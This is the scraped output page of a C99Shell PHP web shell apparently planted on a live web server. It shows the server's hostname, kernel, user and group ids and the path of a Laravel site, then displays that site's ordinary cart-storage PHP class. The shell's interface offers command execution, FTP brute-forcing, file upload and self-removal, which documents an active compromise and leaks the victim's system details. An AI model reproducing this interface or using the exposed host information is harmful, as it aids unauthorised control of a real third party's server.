!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Repositories/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CartDBStorageRepository.php (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Repositories;

use 
App\Items;
use 
App\Models\CartStorageModel as DatabaseStorageModel;
use 
App\Restorant;
use 
Darryldecode\Cart\CartCollection;
use 
Illuminate\Support\Facades\Auth;

class 
CartDBStorageRepository {

    public function 
has($key)
    {
        return 
DatabaseStorageModel::find($key);
    }

    public function 
get($key)
    {
        if(
$this->has($key))
        {
            return new 
CartCollection(DatabaseStorageModel::find($key)->cart_data);
        }
        else
        {
            return [];
        }
    }

    public function 
put($key$value)
    {
        
        if(
$row DatabaseStorageModel::find($key))
        {
            
// update
            
$row->cart_data $value;
            
$row->save();
        }
        else
        {
            if(
Auth::check()){
                
$vendor_id=auth()->user()->restaurant_id;
                
$user_id=auth()->user()->id;
            }else{
                
$vendor_id=0;
                
//dd($value->toArray());
                
foreach ($value->toArray() as $key => $value) {
                    
$vendor_id=$value['attributes']['id'];
                }
                
//We will find the vendor via the item
                
                
$vendor=Restorant::findOrFail($vendor_id);
                
$user_id=$vendor->user_id;

            }
            
DatabaseStorageModel::create([
                
'id' => $key,
                
'cart_data' => $value,
                
'vendor_id' => $vendor_id,
                
'user_id'=>$user_id,
                
'type'=>strlen($key)<15?'3':(strlen($key)<19?"2":"1"),
                
'receipt_number'=>now()->timestamp."-".sprintf('%03d'$user_id)."-".rand(1000,9999),
                
'kds_finished'=>0
            
]);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--